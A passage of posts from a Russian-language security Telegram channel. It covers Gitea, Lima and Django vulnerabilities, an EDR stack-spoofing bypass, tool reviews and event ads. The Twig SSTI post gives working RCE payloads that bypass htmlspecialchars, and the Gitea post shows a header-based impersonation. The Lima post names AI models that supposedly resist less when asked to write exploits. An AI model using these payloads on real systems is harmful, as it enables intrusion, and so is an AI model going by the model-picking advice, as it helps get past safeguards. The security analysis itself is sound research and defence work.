Похек

CVE-2026-20896 в Gitea уже начали дергать вживую: по данным Sysdig, первая активность появилась через 13 дней после раскрытия В Docker-шаблоне app.ini был дефолт REVERSE_PROXY_TRUSTED_PROXIES = *, хотя безопасное значение должно доверять только loopback. Если админ включил ENABLE_REVERSE_PROXY_AUTHENTICATION для работы за аутентифицирующим reverse proxy и при этом HTTP-порт контейнера доступен напрямую, любой клиент может прислать X-WEBAUTH-USER: poxek и попасть в Gitea как poxek без пароля и токена. ♾️Импакт♾️ Известный или угадываемый логин превращается в сессию этого пользователя. Для admin, gitea_admin и похожих имен это уже полный takeover Gitea на уровне приложения: приватные репозитории, пользователи, организации, packages, релизы, вебхуки и потенциально downstream CI/CD. RCE не является гарантированным блекбокс импактом самой CVE; его можно заявлять только если конкретная инсталляция позволяет дойти до выполнения кода через runner, хуки, CI-секреты или deployment-пайплайн. ♾️PoC♾️ Я не нашёл публичных PoC, поэтому написал свой и выложил публичный PoC/чекер: szybnev/cve-2026-20896-gitea-poc В репе есть Go-версия для массовой проверки с --targets, --user-file, --concurrency, --jsonl и --dry-run, плюс простой Bash скриптик без зависимостей. Чекер сначала парсит страницу и не фаззит usernames, если видит Gitea >=1.26.3, например Powered by Gitea Version: 1.26.4. Для уязвимой локальной 1.26.2 проверка подтверждает impersonation по title dashboard без cookie и пароля. ♾️Митигация♾️ ▪️обновиться минимум до 1.26.3, лучше до 1.26.4+; ▪️не публиковать giea напрямую ▪️явно настроить trusted proxies ▪️не включать reverse-proxy auth без понятной сетевой границы 🔗Источники: GHSA-f75j-4cw6-rmx4 / Gitea 1.26.3/1.26.4 release notes fix PR #38151 / CVE record Sysdig telemetry via The Hacker News 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

Вот и все, практически два года в Бастионе прошли Теперь настало время расти дальше и развивать те задачи, которые мне интересны. Респект команде PR Бастиона, пока что лучшая команда PR с которой мне доводилось работать) Ещё услышимся, как говорится ИБ - большая деревня)

ссылку добавил, сори))

AI как новая поверхность атаки: реальные инциденты, мошенничество и уязвимости агентной эпохи Коротко ▪️AI стал поверхностью атаки там, где модель получает не только текст, но и данные, инструменты, права и доверенный контекст. Но вроде как агент без всего этого бесполезено...?) ▪️Самые сильные публичные кейсы сегодня не про “модель сама нашла 0day”, а про деньги, утечки, токены, рабочие базы, расширения браузера, агентные действия и фишинг под видом AI-сервисов. ▪️В статье кейсы ранжируются по наблюдаемому ущербу: прямые потери и утечки выше исследовательских PoC. AI уже надо учитывать как отдельную поверхность атаки. Не потому, что модели «сами взламывают компании», а потому что вокруг них появились новые доверенные контуры: ИИ-платформы хранят чаты, токены, исходный код и пользовательские данные; ИИ-бренды используют в фишинге; ИИ-инструменты получают доступ к браузеру, почте, GitHub, терминалу и боевым средам; агенты начинают действовать от имени пользователя. Просьба поддержать аппами на Habr

CVE-2026-53657: root внутри Lima QEMU-гостя через открытый сокет агента Разобрал CVE-2026-53657 в Lima: до версии v2.1.2 непривилегированный пользователь внутри QEMU-гостя мог подключиться к /run/lima-guestagent.sock и через lima-guestagent, запущенный от root, выполнить команды с uid=0 внутри этой же VM. В advisory уязвимость оценена как High, CVSS 8.2; исправление вышло в Lima v2.1.3. Механика сводится к открытой локальной границе доверия. Агент гостевой системы в QEMU-режиме работал от root, поднимал gRPC API без аутентификации на Unix-сокете и выставлял этому сокету права 0o777. За сокетом был RPC-вызов Tunnel: агент мог открыть соединение к адресу, который задает клиент, включая локальные Unix-сокеты привилегированных демонов. В итоге обычный пользователь гостя мог заставить root-процесс выступить посредником, а конечный сервис видел учетные данные агента, а не исходного пользователя. Публично описанная цепочка выглядит так:

непривилегированный пользователь
  -> /run/lima-guestagent.sock (mode 0o777, владелец root)
  -> gRPC API агента гостевой системы без аутентификации
  -> Tunnel RPC, который подключается к произвольному адресу от имени root
  -> root-only IPC, например D-Bus
  -> выполнение команд как root внутри гостя

Корневая причина сводится к одной строке в cmd/lima-guestagent/daemon_linux.go в Lima v2.1.2:

os.Chmod(socket, 0o777)

Границы воздействия здесь стоит держать точными: это не побег из гостевой VM на хост и не удаленная эксплуатация. Атакующему уже нужен локальный доступ внутрь Lima QEMU VM. VZ-драйвер на macOS не затронут: там агент использует vsock, а не этот Unix-сокет. Но для сред разработки, где в одной VM живут разные процессы, CI-задачи или тестовые нагрузки, баг ломает внутреннюю модель изоляции: обычный аккаунт становится root внутри гостя. Исправление получилось минимальным. Commit 8a45892 меняет модель доступа к сокету: вместо chmod 0o777 Lima добавила параметр --socket-owner, передает UID основного пользователя, меняет владельца сокета через chown и ставит chmod 0o600. Граница доступа закрывается на уровне IPC, без переписывания каждого RPC-вызова. Публичного PoC на CVE-2026-53657 сейчас нет. Авторы write-up на Syntetisk прямо пишут, что намеренно не публикуют пошаговые детали эксплуатации: точку назначения для перенаправления, механику проксирования и исполняемые файлы PoC они оставляют приватными. Если командам нужно проверить уязвимость до или после обновления, исследователи предлагают связаться с ними напрямую. Быстрая самостоятельная проверка внутри гостя — владелец и права /run/lima-guestagent.sock: 0o777 root указывает на уязвимое состояние, 0o600 на основном пользователе соответствует исправлению. Теоретически PoC можно собрать из исходников Lima v2.1.2 + оригинальный райтап + ИИ агент (я советую попробовать Mimo v2.5 Pro или GLM 5.2, они меньше сопротивляются для написания сплойтов и автосканеров. Но сойдет gpt-5.5 или sonnet 4.6 [НЕ 5 ВЕРСИЯ]/opus 4.8 ). 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

TokenTwin Checker: маленький Burp плагин для BAC/IDOR Посмотрел rootdr-backup/TokenTwin-Checker по коду, не только по README. Это Jython-расширение для Burp Suite: берёт выбранные запросы из контекстного меню, подставляет заголовки разных пользователей и сравнивает ответы по статусу и хэшу тела. Идея простая: быстро прогнать один и тот же endpoint от имени User A/User B/нескольких аккаунтов и подсветить возможный BAC/IDOR, если ответы совпали там, где должны различаться. Качество кода нормальное для однофайлового Burp расширения: поток анализа вынесен отдельно, UI не совсем блокируется, есть Stop, фильтр статических ресурсов, baseline/all-vs-all режимы, POC-viewer и merge cookie через OrderedDict. Но это всё ещё один файл на 1600+ строк с Swing/Jython-кодом, где UI, модель данных, сетевой прогон и экспорт смешаны. Лучше было бы разнести на несколько файлов Что бы я допилил первым: явную UTF-8 запись/чтение JSON и CSV вместо системной кодировки Java, лимит/очистку _msg_store, потому что сейчас полные req/resp могут раздувать размер проекта Burp на длинных сессиях + помним что Бурп всё ещё хреново работает с ОЗУ, валидацию импортируемого JSON и header names/values, чтобы не тащить мусор в buildHttpMessage(), и предкомпиляцию ignore-regex с видимой ошибкой пользователю вместо молчаливого except. Я пока его не потестил, но идея и реализация выглядит вполне рабоче и здраво Из ближайших аналогов могу предложить попробовать https://github.com/errorfiathck/IDOR-Forge или SKILL для ИИ агентов https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/idor-testing/SKILL.md

У многих ИБ-продуктов первая версия получается быстрее, чем первая системная продажа в энтерпрайз Технически команда уже умеет закрывать задачу: сканировать периметр, автоматизировать ИБ-процесс, защищать API, искать утечки или закрывать другой конкретный риск. Есть пилоты, первые клиенты, понятная боль рынка. А дальше начинается не код, а длинная взрослая часть: кто buyer, как пройти закупку, как объяснить риск бизнесу, как упаковать PoC, какие метрики показать ИБ-директору, как не утонуть в кастомных доработках. Поэтому логично, что ФРИИ и Metascan сделали отдельный инвестиционный трек именно для ИБ-команд с готовым B2B-продуктом. Там обещают не просто деньги от 5 до 100 млн рублей, а связку из акселерации, разбора продаж, юнит-экономики, позиционирования и отраслевой экспертизы Metascan. Если у вас уже есть продукт, пилоты или первые продажи, я бы использовал страницу трека как быстрый чек-лист зрелости: проходите ли вы по критериям, есть ли B2B-фокус, подтвержденный спрос и план масштабирования. Ссылка на критерии

Django, pickle и RCE через cache poisoning HackedAlert описал RCE-сценарий для Django 6.0.4: атакующий записывает в Redis/Memcached вредный pickle-объект под ключ сессии, затем отправляет запрос с нужным sessionid, и приложение само достает значение из кэша. Механика реальная: в RedisCache после неудачного int() вызывается pickle.loads(), а PyMemcacheCache по умолчанию использует pymemcache.serde.pickle_serde. Ограничение в другом: это не “любой Django 6.0.4 выполняет код по HTTP”. В официальных release notes 6.0.4 нет RCE по cache backend: там один moderate и четыре low security issue. Для эксплуатации нужен контроль над данными в cache backend: открытый Redis/Memcached, SSRF до внутреннего Redis, боковое перемещение или общий кэш между разными trust zone. Без возможности записать произвольное значение в кэш цепочка не складывается. Риск все равно практичный. Во многих продакшенах Redis считается внутренним сервисом и остается без ACL, TLS и жесткой сетевой изоляции. Тогда кэш перестает быть просто ускорителем: запись в него может стать выполнением кода в процессе Django-приложения. Проверять надо не только версию Django. Смотрите SESSION_ENGINE, CACHES, доступ к Redis/Memcached, разделение кэшей между сервисами и возможность заменить pickle на безопасный serializer для конкретных данных. Обновления нужны, но этот класс риска закрывается архитектурой: изоляцией cache backend, аутентификацией, ACL и запретом общих кэшей между разными уровнями доверия. 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

Фотоотчёт подарков со Standoff Talks Наушники Redmi Buds Bugs 6 с нанесением Standoff Talks Набор дрип кофэ (Standoff one love за такое ❤️) в прикольном тканевом мешочке Стикеры, куда же без них Небольшой шнурок с ремувкой и карабином игрушечным Металлическая кружка мерчевая, чисто для походов как будто Мультитул острый по размеру дебетовой карты Спортивная бутылка в зальчик ходить Металлические головоломки в количестве трех штук, самое то на созвонах руки занять, пока внимательно слушаешь коллег (кстати 1 умом уже решил и 2 методом грубой силы)) Журнал от Standoff 365. Довольно прикольно понастольгировать с фоток за прошлые года + есть некоторые прикольные скрины из консолек и бурпа Журнал Хакера, тут как всегда всё шикарно) Подушка прикольная, песочного цвета Выше это я описал мерч паки: коммьюнити партнёра + спикер пак. Поэтому есть для вас мотивация выступить в следующий раз или же прийти как СМИ и осветить мероприятие)) А для тех кто учавствовал в конкурсе дарили крутые панамки, которые вы также можете увидеть на фото) p.s. на фото не всё влезло! p.s. фото сгенерировано ChatGPT, могут быть небольшие не совпадения с реальностью. Но общий вайб подарков передан отлично)

SSTI ❤️ htmlspecialchars() Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений: Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка {{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =) Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:

<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);

class User {
    public $username;
    public $secondname;
    public function __construct($username, $secondname) {
        $this->username = $username;
        $this->secondname = $secondname;
    }
}

$allowed = ['user.username'];

function prepareVars(string $template, array $allowedKeys): string {
    return preg_replace_callback(
        '/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
        function ($matches) use ($allowedKeys) {
            $value = trim($matches[1] ?? ''); //Берётся наше значение
            if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
                return "{{ {$value} | raw }}";
            }
            return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
        },
        $template
    );
}

$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
    'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);

Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло: Мне для той же нагрузки {{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=ls&secondname=system. В моём случае приложение было на PHP Symfony, а данные о пользователе передавались не от меня. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе. Если же у вас только одно контролируемое значение(например subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно: {{{{[subject|slice(0,2)]|filter(subject|slice(-6))}}}}

Личные облака, мессенджеры и ссылки «для своих» — привычный способ обмена файлами. Но такая беспечность может стоить дорого: от утечки данных до штрафов 500 млн руб Шутки шутками, но есть риски. 30 июня вместе с партнёром Picvario разберём, как перенести цифровые медиаактивы в единый защищённый контур и перестать рисковать. Обсудим: ⚫️риски утечек и штрафов при работе вне корпоративного периметра ⚫️защиту контента с помощью DAM-системы в соответствии с 152-ФЗ ⚫️ИИ-инструменты: распознавание лиц, автоописания и умный поиск ⚫️кейсы и разницу между облачным и on premise развёртыванием Спикеры: Василий Колосов, директор по продукту, Picvario Ярослав Ажевский, менеджер по продвижению решений, K2 Cloud Будет полезно CIO, CISO, ИТ- и ИБ-специалистам, а также руководителям маркетинга и PR. 📅30 июня, вторник, 11:00 МСК ➡️Регистрация

Продолжение развития данного инструмента)) DeepSecrets 2.0: поиск секретов с контекстом кода DeepSecrets 2.0 — OSS-сканер секретов, который пытается закрыть типичную дыру regex-only подхода: инструмент ищет не просто похожие на ключи строки, а кандидаты в контексте кода. В README заявлены лексинг и парсинг для 500+ языков и форматов, semantic checks по переменным, context-aware entropy и отдельный HashedSecret Engine: можно передать хэши известных продакшен-секретов, а сканер будет искать их открытые значения в коде без хранения исходных секретов в правилах. По опубликованному разбору и README, на SecretBench v2.0 показал 93% recall, 69% precision и 8% false positive rate в scope бенчмарка. Это стоит читать аккуратно: SecretBench сам по себе большой, но любой бенчмарк секретов отражает конкретный корпус, правила разметки и типы утечек. Зато направление полезное: меньше слепого entropy по всему файлу, больше проверки того, что строка действительно похожа на значение опасной переменной или конфигурации. На фоне других OSS-инструментов позиционирование понятное. Gitleaks — зрелый и быстрый дефолт для git history, directory/stdin, pre-commit и SARIF/JSON-отчетов, но его модель в основном regex/entropy. TruffleHog шире по источникам: GitHub/GitLab, Docker, S3, CI, Postman, Jenkins, Hugging Face; его сильная сторона — классификация сотен типов секретов и проверка, живой ли ключ. Yelp detect-secrets удобен там, где нужен enterprise baseline: зафиксировать старый долг, блокировать только новые находки и вручную аудитить baseline. DeepSecrets выглядит как хороший кандидат для второго слоя в CI/CD: после дешевого pre-commit фильтра прогнать семантический скан по репозиторию и выгрузить SARIF в GitHub Security или DefectDojo. Но я бы не заменял им TruffleHog для live-validation и внешних источников: утечка в Docker image, старом форке или S3-бакете не становится менее реальной от того, что ее нет в текущем дереве кода. 🔗Источники: 🐱 DeepSecrets - HackerNoon article

Сегодня стартовали открытые кибериспытания Т-Банка: их несколько дней назад анонсировал руководитель управления кибербезопасности Игорь Кубышко В рамках 17-го Standoff он подробно рассказал о программе кибериспытаний. Главные условия: ▪️пентестеры должны найти и реализовать недопустимый сценарий, а не отдельный баг; ▪️в случае успеха финтех выплатит участнику до 12 миллионов рублей; ▪️кибериспытания проходят в открытом формате: принять участие может любой пентестер — регистрация уже идет. 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

LACUNA Chain: как и когда EDR можно обойти После HookChain недостаточно спрятать syscall от userland hook. EDR может получить событие из ядра и приложить к нему user-mode call stack: кто вызвал NtAllocateVirtualMemory, NtProtectVirtualMemory, NtQueueApcThread и похожие операции. Если в стеке виден shellcode, unsigned module или executable heap, обход ntdll-хуков уже не закрывает детект. LACUNA Chain переносит атаку на уровень unwind-механики Windows x64: не скрывает сам факт операции, а подменяет историю вызова, которую увидит stack collector. ♾️Как работает♾️ На x64 Windows стек обычно восстанавливается через .pdata. Для функций там лежат RUNTIME_FUNCTION и unwind metadata. Но если RtlLookupFunctionEntry(ControlPc) не находит запись, RtlVirtualUnwind трактует адрес как leaf-функцию: читает следующий RIP из [RSP] и двигает RSP на 8 байт. Автор использует это как BYOUD-Gap: берёт адреса внутри легитимных DLL, но между покрытыми .pdata функциями. Для unwind-кода это валидный leaf-frame. Для простого EDR-правила это кадр из ntdll, kernelbase, wow64 или win32u, а не из payload. В статье собирается цепочка: KiUserExceptionDispatcher -> ghost frame рядом с WoW64 exception path -> ghost рядом с VirtualProtect -> ghost рядом с thread-creation API -> NOP-gap в win32u -> RtlUserThreadStart. Отдельный слой — ETW-Ti APC window. Событие появляется в ядре, но stackwalk может исполняться через USER_APC, который доставляется только при alertable wait. Значит, чувствительная операция уже прошла, стек можно подготовить, затем войти в alertable NtDelayExecution, и сборщик увидит ghost-chain. ♾️Анализ исходников♾️ В репозитории это реализовано не как статичный набор оффсетов. В lacuna_chain.c сканер PE читает .pdata, ищет промежутки между EndAddress текущего RUNTIME_FUNCTION и BeginAddress следующего, отбрасывает padding из 00/CC/90 и выбирает ghost regions рядом с экспортами VirtualProtect, RtlCreateUserThread, Wow64PrepareForException. Для win32u отдельно ищется 8-байтовый NOP gap. build_chain() выбирает L1-L5, ищет ghost gadget JMP [RBX] внутри ghost-region и строит LacunaStack. Для BYOUD-MF код ищет unwind opcode UWOP_PUSH_MACHFRAME в ntdll, кладёт fake machine frame и задаёт Rsp так, чтобы unwind перескочил на буфер L2 -> L3 -> L4 -> L5. Режим verify прогоняет цепочку через RtlLookupFunctionEntry и RtlVirtualUnwind, то есть проверяет тот же класс механики, на который опирается сборщик стеков. В inject добавлен прикладной обход корреляций: вместо VirtualAllocEx -> WriteProcessMemory -> VirtualProtect используется section-based injection. Код создаёт section, мапит локальный RW view, пишет payload, затем мапит remote RX view через NtMapViewOfSection и ставит APC. NtWriteVirtualMemory в целевой процесс не вызывается. Самый плотный участок — param_encrypt_veh. Перед syscall ставится hardware breakpoint на syscall;ret. На EXCEPTION_SINGLE_STEP VEH расшифровывает RCX/RDX/R8/R9/R10, подменяет return address на ret gadget внутри ntdll, а в режиме full_spoof заменяет stack slots, указывающие внутрь lacuna.exe, на ghost-frame адреса. После возврата через DR1 старые значения восстанавливаются. Подмена живёт только в окне наблюдения. Отдельный lacuna_sleep.c применяет тот же подход к sleep-obfuscation: ghost-call stub меняет [RSP] на ghost address, tail-jump’ит в API, VEH на hardware breakpoint возвращает управление на сохранённый настоящий return. Цикл делает NtProtectVirtualMemory(RW), XOR payload, NtDelayExecution(alertable=TRUE) с ghost-chain на стеке, расшифровку и возврат в RX. ♾️Ограничения♾️ PoC зависит от конкретных DLL, их .pdata, наличия ghost regions, win32u gaps и подходящих unwind-паттернов. В коде это частично закрыто runtime-сканированием и fallback-логикой, но не превращает технику в универсальный bypass для любой версии Windows и любого EDR. Заявления о полном обходе Elastic, Bitdefender и Kaspersky идут из лабораторных тестов автора. Я проверял код и соответствие кода статье, но не воспроизводил эти EDR тесты локально. 🔗Источники: Статья 0xmaz, 20 июня 2026 🐱 MazX0p/LACUNA-Chain 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

Главная угроза всё ещё человек, но масштаб изменился В интервью Александра Соколовского с Александром Гостевым из Касперского хорошо видно, как сместился фокус киберпреступности. Раньше массовая атака часто выглядела как заражение домашних компьютеров ради небольших сумм. Сейчас атакующим выгоднее бить по банкам, компаниям, биржам, обменникам и сервисам, где уже лежат деньги, данные и доступы пользователей. ИИ в этой картине мира не превращает каждого школьника в автора крутого FUD вредоноса. По словам Саши, пока сильнее растёт не сложность атак, а их количество и скорость: модели помогают искать уязвимости, генерировать варианты кода и увеличивать поток инцидентов. Защитникам приходится обрабатывать не сотни подозрительных объектов, а сотни тысяч, и проблема упирается не только в технологии, но и в дефицит людей, которые умеют разбирать инциденты. Для обычного пользователя вывод не сводится к "поставьте антивирус Касперский")). Даже если человек ведёт себя аккуратно, его данные могут утечь из внешнего сервиса, а затем стать топливом для целевого фишинга и звонков. В крипте типовой риск тоже часто не в сломанной математике, а в левой бирже, поддельном кошельке, подменённом адресе транзакции или добровольном вводе seed-фразы на чужом сайте. Самая прикладная часть интервью звучит почти старомодно: не доверять незнакомцам в телефоне и интернете, не передавать коды и пароли, не использовать один пароль в разных сервисах, быстро реагировать после ошибки. Новые инструменты ускоряют атаки, но первая линия защиты всё ещё начинается с дисциплины доступа и трезвой оценки того, кому вы можете быть интересны как цель или как путь к другой цели. Мне очень понравилась фраза Александра Гостева, что кибербез переживает ренесанс и как будто заново возрождается как было 20 лет назад. 🌚 @poxek | 🌚 @poxek_ai | 📲 MAX

Assume Birch

Blue и Red Team сверяют компасы 🧭 К2 Кибербезопасность объединит команды на офлайн-митапе для тех, кто хочет выйти за рамки привычных задач и взглянуть на защиту с противоположной стороны.

Обменяемся опытом в кругу своих, обсудим факапы и разберем: ✅ Как подготовиться к инциденту так, чтобы во время атаки не пришлось действовать вслепую ✅ Что на самом деле происходит «в полях» пентеста: где ожидания расходятся с реальностью, почему это не «скрытный обход SOC» и к чему приводит внедрение ИИ

Кому будет интересно? SOC-специалистам, пентестерам и ИБ-практикам 🗓 25 июня, 19:00 📍 Москва, офлайн Участие бесплатное. Количество мест ограничено. Зарегистрироваться

Если кто-то не смог меня найти, то пишите в ЛС @szybnev с того акка, с которого писали коммент

Победителей выбрали в конкурсе на анти нейрослоп советов для Standoff 365 Bug Bounty . Просьба тех, кто увидел свой ник и коммент найти меня на Standoff Talks. Я на первом этаже, хожу в панамке чёрной